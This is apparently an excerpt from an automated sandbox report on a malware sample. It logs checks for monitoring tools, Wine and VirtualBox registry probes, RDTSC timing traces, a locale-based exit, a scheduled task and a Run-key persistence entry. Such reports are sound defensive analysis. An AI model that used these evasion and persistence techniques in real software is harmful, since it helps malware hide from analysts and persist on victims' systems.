Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\1000115002\6b11689b40.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6b11689b40.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6b11689b40.exe			Jump to behavior

Source: C:\Users\user\Desktop\4qIl08vrFY.exe

Code function: 0_2_006BC768 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_006BC768

Source: C:\Users\user\Desktop\4qIl08vrFY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_4-12408

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\1000115002\6b11689b40.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\1000115002\6b11689b40.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\1000115002\6b11689b40.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\1000115002\6b11689b40.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\1000115002\6b11689b40.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FBD2D5 second address: FBD2D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC0672 second address: FC06E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jc 00007F0D8517B906h 0x0000000d pop ebx 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 or dword ptr [ebp+122D183Dh], ecx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F0D8517B908h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 xor di, F4F7h 0x00000039 call 00007F0D8517B909h 0x0000003e pushad 0x0000003f jnl 00007F0D8517B90Ch 0x00000045 jnl 00007F0D8517B906h 0x0000004b jmp 00007F0D8517B914h 0x00000050 popad 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push esi 0x00000055 push edx 0x00000056 pop edx 0x00000057 pop esi 0x00000058 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC088E second address: FC08AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D84D62029h 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC08AB second address: FC08AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC08AF second address: FC0903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F0D84D62018h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov edx, ecx 0x00000025 push ebx 0x00000026 movzx edi, cx 0x00000029 pop edi 0x0000002a push 00000000h 0x0000002c cmc 0x0000002d call 00007F0D84D62019h 0x00000032 push ecx 0x00000033 jmp 00007F0D84D62020h 0x00000038 pop ecx 0x00000039 push eax 0x0000003a pushad 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC0903 second address: FC093F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop esi 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jnl 00007F0D8517B927h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC093F second address: FC0943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC0943 second address: FC09CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B917h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f jmp 00007F0D8517B915h 0x00000014 jno 00007F0D8517B908h 0x0000001a popad 0x0000001b pop eax 0x0000001c mov cl, 8Ah 0x0000001e push 00000003h 0x00000020 push 00000000h 0x00000022 push edx 0x00000023 call 00007F0D8517B908h 0x00000028 pop edx 0x00000029 mov dword ptr [esp+04h], edx 0x0000002d add dword ptr [esp+04h], 00000014h 0x00000035 inc edx 0x00000036 push edx 0x00000037 ret 0x00000038 pop edx 0x00000039 ret 0x0000003a clc 0x0000003b push 00000000h 0x0000003d movzx ecx, ax 0x00000040 or dword ptr [ebp+122D1B14h], ecx 0x00000046 push 00000003h 0x00000048 jp 00007F0D8517B911h 0x0000004e js 00007F0D8517B90Bh 0x00000054 push C7DDA189h 0x00000059 pushad 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC09CB second address: FC0A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnp 00007F0D84D6201Ch 0x0000000b popad 0x0000000c xor dword ptr [esp], 07DDA189h 0x00000013 mov edx, eax 0x00000015 or dword ptr [ebp+122D339Bh], esi 0x0000001b lea ebx, dword ptr [ebp+1245258Ah] 0x00000021 push 00000000h 0x00000023 push esi 0x00000024 call 00007F0D84D62018h 0x00000029 pop esi 0x0000002a mov dword ptr [esp+04h], esi 0x0000002e add dword ptr [esp+04h], 00000015h 0x00000036 inc esi 0x00000037 push esi 0x00000038 ret 0x00000039 pop esi 0x0000003a ret 0x0000003b jmp 00007F0D84D62020h 0x00000040 or edx, 289F7802h 0x00000046 push eax 0x00000047 js 00007F0D84D62020h 0x0000004d push eax 0x0000004e push edx 0x0000004f push edi 0x00000050 pop edi 0x00000051 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC0A96 second address: FC0A9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC0A9A second address: FC0AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC0AA4 second address: FC0AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC0AA8 second address: FC0B46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jmp 00007F0D84D6201Ch 0x0000000d push 00000000h 0x0000000f movsx esi, cx 0x00000012 push C557B7A8h 0x00000017 jmp 00007F0D84D62026h 0x0000001c add dword ptr [esp], 3AA848D8h 0x00000023 jnc 00007F0D84D6201Bh 0x00000029 or cx, CB62h 0x0000002e push 00000003h 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007F0D84D62018h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a push edx 0x0000004b xor dword ptr [ebp+122D36BDh], esi 0x00000051 pop esi 0x00000052 add si, 0124h 0x00000057 push 00000000h 0x00000059 clc 0x0000005a push 00000003h 0x0000005c add edi, 22F52181h 0x00000062 push 9A50CA96h 0x00000067 push eax 0x00000068 push edx 0x00000069 push ebx 0x0000006a jmp 00007F0D84D62026h 0x0000006f pop ebx 0x00000070 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FE0187 second address: FE0195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0D8517B906h 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FE0195 second address: FE019D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FE019D second address: FE01A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE4EE second address: FDE4FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE4FD second address: FDE503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE503 second address: FDE507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE647 second address: FDE64B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE64B second address: FDE65D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D84D6201Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE65D second address: FDE66D instructions: 0x00000000 rdtsc 0x00000002 je 00007F0D8517B912h 0x00000008 jns 00007F0D8517B906h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE7B1 second address: FDE7B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE7B9 second address: FDE7BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE7BD second address: FDE7C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F0D84D62016h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE7C9 second address: FDE7E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B915h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE7E6 second address: FDE7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE7EA second address: FDE81D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0D8517B916h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE81D second address: FDE837 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62026h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE837 second address: FDE849 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0D8517B908h 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F0D8517B906h 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDECF8 second address: FDED02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0D84D62016h 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDED02 second address: FDED06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDEE7D second address: FDEE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDF12B second address: FDF131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDF40B second address: FDF426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jl 00007F0D84D62016h 0x0000000c popad 0x0000000d push esi 0x0000000e jl 00007F0D84D62016h 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDF426 second address: FDF42C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDF42C second address: FDF430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDF9BE second address: FDF9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDF9C4 second address: FDF9CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FE230D second address: FE2311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
